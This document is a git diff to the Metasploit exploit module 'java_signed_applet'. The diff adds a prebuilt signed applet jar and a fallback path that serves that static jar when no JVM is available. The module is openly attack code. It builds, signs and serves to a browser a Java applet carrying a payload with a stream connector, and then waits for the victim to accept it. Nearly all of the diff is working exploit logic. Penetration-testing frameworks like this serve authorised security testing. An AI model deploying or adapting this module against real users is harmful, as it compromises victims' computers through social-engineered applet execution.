diff --git a/data/exploits/java_signed_applet.jar b/data/exploits/java_signed_applet.jar
new file mode 100644
index 0000000000..a1410036b5
Binary files /dev/null and b/data/exploits/java_signed_applet.jar differ
diff --git a/modules/exploits/multi/browser/java_signed_applet.rb b/modules/exploits/multi/browser/java_signed_applet.rb
index 4da6660e11..a32d5eb950 100644
--- a/modules/exploits/multi/browser/java_signed_applet.rb
+++ b/modules/exploits/multi/browser/java_signed_applet.rb
@@ -113,6 +113,16 @@ class Metasploit3 < Msf::Exploit::Remote
 		# Currently doing all processing in on_request_uri.
 		# If this is too slow, we can move applet generation up here.
 		#
+
+		@use_static = false
+
+		if not @jvm_init
+			print_error
+			print_error "JVM not initialized. You must install the Java Development Kit, the rjb ruby gem, and set the $JAVA_HOME variable."
+			print_error "Falling back to static signed applet.  This exploit will still work, but the CERTCN and APPLETNAME variables will be ignored."
+			print_error
+			@use_static = true
+		end
 		super		
 	end
 	
@@ -374,43 +384,52 @@ public class #{datastore['APPLETNAME']} extends Applet
 				end
 			end
 
-			appletcode = get_code(cli)
+			if not @use_static
+				appletcode = get_code(cli)
 
-			print_status "Compiling applet classes..."
-			compile( appletcode['classnames'], appletcode['codefiles'] )
+				print_status "Compiling applet classes..."
+				compile( appletcode['classnames'], appletcode['codefiles'] )
 		
-			print_status "Compile completed.  Building jar file..."
+				print_status "Compile completed.  Building jar file..."
 
-			unsignedjar = "unsigned_#{datastore['APPLETNAME']}.jar"
-			@signedjar   = "#{datastore['APPLETNAME']}.jar"
+				unsignedjar = "unsigned_#{datastore['APPLETNAME']}.jar"
+				@signedjar   = "#{datastore['APPLETNAME']}.jar"
 	
-			build_jar( unsignedjar,
-					[ # Applet
-					  datastore['APPLETNAME'] + ".class",
-					  # PayloadX class
-					  datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + ".class",
-					  # PayloadX StreamConnector for pure Java payload
-					  datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + "$StreamConnector.class" ] )
-
-			print_status "Jar built.  Signing..."
+				build_jar( unsignedjar,
+						[ # Applet
+						  datastore['APPLETNAME'] + ".class",
+						  # PayloadX class
+						  datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + ".class",
+						  # PayloadX StreamConnector for pure Java payload
+						  datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + "$StreamConnector.class" ] )
+	
+				print_status "Jar built.  Signing..."
+		
+				sign_jar( datastore['CERTCN'], unsignedjar, @signedjar )
+	
+				print_status "Jar signed.  Ready to send."
+			else
+				print_status "Using static, signed jar.  Ready to send."
+			end
 	
-			sign_jar( datastore['CERTCN'], unsignedjar, @signedjar )
-
-			print_status "Jar signed.  Ready to send."
-
 			# TODO: gzip data and parse in java
 			send_response_html( cli, generate_html( data, host, port ), { 'Content-Type' => 'text/html' } )
 			return
 		end
 				
 		# load the jar file
-		if File.exists? File.join( datastore['JAVACACHE'], @signedjar )
-			path  = File.join( datastore['JAVACACHE'], @signedjar )
-			fd    = File.open( path, "rb" )
+		if @use_static
+			path = File.join( Msf::Config.install_root, "data", "exploits", "java_signed_applet.jar" )
+		elsif File.exists? File.join( datastore['JAVACACHE'], @signedjar )
+			path = File.join( datastore['JAVACACHE'], @signedjar )
+		end
+		
+		if path
+			fd = File.open( path, "rb" )
 			@jar_data = fd.read(fd.stat.size)
 			fd.close
 		end
-
+		
 		print_status( "Sending #{datastore['APPLETNAME']}.jar to #{cli.peerhost}:#{cli.peerport}.  Waiting for user to click 'accept'..." )
 		send_response( cli, @jar_data, { 'Content-Type' => "application/octet-stream" } )